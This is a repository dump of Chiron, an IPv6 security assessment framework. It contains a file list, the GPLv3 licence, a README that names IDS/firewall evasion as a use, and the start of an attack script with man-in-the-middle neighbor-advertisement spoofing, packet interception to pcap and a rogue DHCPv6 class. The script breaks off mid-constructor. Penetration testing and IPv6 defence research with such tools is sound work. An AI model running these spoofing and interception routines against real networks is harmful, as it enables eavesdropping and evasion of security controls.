├── Chiron_Tutorial.pdf ├── LICENSE ├── README.md ├── bin ├── chiron_attacks.py ├── chiron_combinations.py ├── chiron_local_link.py ├── chiron_prefixes.py ├── chiron_proxy.py └── chiron_scanner.py ├── files ├── combinations-small.txt ├── combinations.txt ├── my_combinations-small.txt ├── my_combinations-test.txt ├── my_combinations-tiny.txt ├── my_combinations-verysmall.txt ├── tcp_ports.txt └── udp_ports.txt └── lib ├── address_generators.py ├── attacks.py ├── auxiliary_functions.py ├── checkings.py ├── checkip.py ├── create_extension_headers_chain.py ├── create_layer4.py ├── definitions.py ├── fileio.py ├── ipaddr.py ├── results.py ├── scanners.py └── sniffer_process.py /Chiron_Tutorial.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aatlasis/Chiron/524abe1338d548196e1e31d391f228a07d0f9f0f/Chiron_Tutorial.pdf -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Chiron 2 | Chiron is an IPv6 Security Assessment Framework, written in Python and employing Scapy. 3 | It is comprised of the following modules: 4 | • IPv6 Scanner 5 | • IPv6 Local Link 6 | • IPv4-to-IPv6 Proxy 7 | • IPv6 Attack Module 8 | • IPv6 Proxy. 9 | All the above modules are supported by a common library that allows the creation of completely arbitrary IPv6 header chains, fragmented or not. 10 | 11 | Suggested host OS: Linux (*BSD may also work). 12 | 13 | Chiron incorporates its own IPv6 sniffer. It doesn't use OS stack. 14 | 15 | The main advantage of the tool, in comparison with others, is that it allows you to easily craft arbitrary IPv6 headers chain by using various types of IPv6 Extension Headers. This option can be used for example: 16 | • To evade IDS/IPS devices, firewalls, or other security devices. 17 | • To fuzz IPv6-capable devices regarding the handling of IPv6 Extension Headers. 18 | 19 | To run Chiron, you need Scapy, and of course, Python. 20 | You also need the following python module: python-netaddr 21 | -------------------------------------------------------------------------------- /bin/chiron_attacks.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import scapy.all 3 | import argparse 4 | import logging 5 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #supress Scapy warnings` 6 | import scapy 7 | import sys 8 | import os 9 | sys.path.append('../lib') 10 | import netaddr 11 | import auxiliary_functions 12 | #import create_layers 13 | import signal 14 | import ipaddr 15 | import time 16 | import multiprocessing 17 | import definitions 18 | import auxiliary_functions 19 | import attacks 20 | import checkings 21 | import create_extension_headers_chain 22 | 23 | class MitmAttack(): 24 | def __init__(self, filter, interface, source_ip, mac_source, victims, file_to_write): 25 | self.filter = filter 26 | self.interface = interface 27 | self.source_ip = source_ip 28 | self.mac_source = mac_source 29 | self.victims = victims 30 | self.file_to_write = file_to_write 31 | def run(self): 32 | print "Start sniffing and handling" 33 | scapy.sendrecv.sniff(filter=self.filter, iface=self.interface, prn=self.mitm_attack, store=0) 34 | def mitm_attack(self,packets): 35 | if packets.nh == 58 and packets.payload.type == 135: 36 | attacks.soliceted_neighbor_advertisement_spoofing(packets,self.mac_source, self.interface) 37 | elif not packets.payload.dst == self.source_ip: 38 | if packets.dst == self.mac_source: 39 | if not packets.payload.dst[0:6] == "fe80::": 40 | packets.dst=self.victims[packets.payload.dst] 41 | writer = PcapWriter(self.file_to_write, append=True) 42 | writer.write(packets) 43 | writer.close() 44 | sendp(packets,iface=self.interface) 45 | 46 | class SpoofUnNA(): 47 | def __init__(self, victims, myinterface, mac_source): 48 | self.victims = victims 49 | self.myinterface = myinterface 50 | self.mac_source = mac_source 51 | def run ( self ): 52 | while(True): 53 | try: 54 | attacks.unsoliceted_neighbor_advertisement_spoofing(self.victims, self.myinterface, self.mac_source) 55 | time.sleep(2) 56 | except KeyboardInterrupt: 57 | exit(0) 58 | 59 | class DHCPv6Attack(): 60 | #TODO 61 | #A. DHCPv6 Server 62 | #1. Implement Renew 63 | #2. DHCP INFORM messages (for "the O-flag variant") 64 | def __init__(self,filter,interface,mac_source, source_ip, dhcpv6_preference,prefered_lft,valid_lft,DNS_Domain_name,DNS_Servers,list_of_unfragmented_ext_headers,list_of_fragmented_ext_headers,size_of_extheaders,number_of_fragments,list_of_next_headers,list_of_offsets,list_of_fragment_lengths,list_of_fragment_m_bits,prefix,hoplimit,lEu,first_next_header_value,fragmentable_extension_headers,size_of_fragmentable_extension_headers,s): 65 | self.filter=filter 66 | self.assigned_IPv6_addresses_cache={} 67 | self.interface=interface 68 | self.mac_source=mac_source 69 | self.source_ip=source_ip 70 | self.dhcpv6_preference=dhcpv6_preference 71 | self.prefered_lft=prefered_lft 72 | self.valid_lft=valid_lft 73 | self.DNS_Domain_name=DNS_Domain_name 74 | 